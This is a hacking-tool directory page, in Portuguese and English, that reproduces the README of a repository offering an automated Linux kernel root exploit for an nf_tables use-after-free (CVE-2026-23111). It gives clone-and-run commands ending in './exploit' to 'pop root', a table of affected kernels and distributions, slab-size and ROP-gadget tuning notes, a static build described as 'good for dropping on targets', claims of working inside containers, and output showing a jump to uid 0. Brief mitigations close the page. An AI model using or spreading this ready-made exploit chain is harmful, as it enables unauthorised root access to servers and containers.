Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-23111-POC-noddlenpottato — CVE-2026-23111 nf_tables catchall UAF — LPE sem privilégios para Linux 5.10-6.18. Exploit auto-adaptativo com bypass de KASLR, leitura arbitrária do kernel e cadeia ROP. Suporta Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn. | Kitploit
Ferramentas/GitHubGitHub/knz-source/cve-2026-23111-poc-noddlenpottato
Escalada de PrivilégiosExploraçãoExploração de Binários
GitHubknz-source/cve-2026-23111-poc-noddlenpottato

CVE-2026-23111-POC-noddlenpottato

CVE-2026-23111 nf_tables catchall UAF — LPE sem privilégios para Linux 5.10-6.18. Exploit auto-adaptativo com bypass de KASLR, leitura arbitrária do kernel e cadeia ROP. Suporta Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
914há 1 mêsAinda não revisado

CVE-2026-23111 — noddlenpottato

nf_tables catchall UAF → LPE sem privilégios. usuário comum vira root na maioria dos kernels linux 5.10—6.18.

auto-adapta ao kernel alvo — detecta offsets de structs, resolve símbolos, encontra gadgets ROP, determina slab cache, gera exploit sob medida, compila e executa.

nf_tables catchall UAF → LPE sem privilegios. usuario comum vira root na maioria dos kernels linux 5.10—6.18.

auto-adapta pro kernel alvo — detecta offsets de structs, resolve simbolos, encontra gadgets ROP, determina slab cache, gera exploit sob medida, compila e roda.

visão geral da cadeia de exploit

cadeia de exploit

estratégia de reclaim do slab

reclaim do slab

the vulnerability / a vulnerabilidade

EN: verificação invertida de genmask em nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). durante o abort de transação, o handler pula elementos catchall inativos que precisam de reativação e processa os ativos que não precisam. isso faz chain->use decrementar sem restauração adequada, permitindo DELCHAIN numa chain ainda referenciada — criando um UAF.

PT: check invertido de genmask em nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). durante o abort de transacao, o handler pula catchall elements inativos que precisam de reativacao e processa os ativos que nao precisam. isso causa o decremento de chain->use sem restauracao adequada, permitindo DELCHAIN numa chain ainda referenciada — criando um UAF.

a condição com bug:

// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

what you get / o que voce consegue

  • leitura arbitrária do kernel — lê 8 bytes de qualquer endereço virtual do kernel, sem limite de vezes
  • bypass de KASLR — vaza a base do kernel a partir do reclaim do nome da chain liberado usando seq_operations
  • LPE completo — commit_creds(init_cred) via cadeia ROP com retorno a userspace seguro contra KPTI
  • funciona a partir de usuário sem privilégios — só precisa de unshare -rUn (namespace de usuário + rede)
  • funciona dentro de containers — pods kubernetes, containers docker (consegue root no namespace do container)

affected versions / versoes afetadas

o bug foi introduzido no 6.1.36 (backport) e existe em vários branches LTS:

faixa de kernelcorrigido emdistros afetadas
6.13 — 6.18.96.18.10fedora 41+, arch (rolling)
6.7 — 6.12.696.12.70ubuntu 24.04/24.10, fedora 39/40
6.1.36 — 6.1.1626.1.163debian 12 (bookworm), derivados do RHEL 9
5.15.121 — 5.15.1995.15.200ubuntu 22.04 LTS, backports do debian 11
5.10.188+váriasdebian 11 (bullseye), derivados do RHEL 8

isso cobre basicamente toda distro linux empresarial importante lançada entre 2023 e 2026.

início rápido

git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

or step by step / ou passo a passo:

python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

repo structure / estrutura do repo

.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

key technical adaptations / adaptacoes tecnicas chave

o tamanho do slab importa

sizeof(nft_chain) varia entre builds do kernel. tamanho errado do spray = falha silenciosa:

debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

o spray de userdata DEVE usar o tamanho exato da struct (não o tamanho do slab). o autopwn.py lida com isso automaticamente via pahole.

o gadget de pivot varia

o registrador que segura o ponteiro da expr no call site de eval() muda entre versões do kernel:

kernelregistradorgadget necessário
6.1.x (debian)rbpleave; jmp __x86_return_thunk
6.5+ (ubuntu)rbxmov rsp, rbx; ret ou push rbx; pop rsp; ret

gadget errado = kernel panic instantâneo. sempre verifique desassemblando o nft_do_chain.

retpoline

kernels modernos substituem todo ret por jmp __x86_return_thunk. a busca de gadgets precisa levar isso em conta — você não vai achar pop rdi; ret, vai achar pop rdi; jmp __x86_return_thunk.

compilação

# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

prova

$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

documentation / documentacao

docwhat / o que
EXPLOITATION.mdwalkthrough completo da cadeia de exploit com código, EN/PT
DEBUGGING.mdcomo extrair cada offset e gadget para o seu kernel, EN/PT
CONSIDERATIONS.mdcasos extremos, bypasses, containers, SMEP/SMAP, detecção, EN/PT

mitigations / mitigacoes

# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

créditos

análise original da vulnerabilidade vinda do advisory do nf_tables. desenvolvimento completo da cadeia de LPE, análise de slab, adaptação multi-kernel, pesquisa de gadgets de pivot e ferramentas de autopwn desenvolvidos de forma independente.

Baixar ferramenta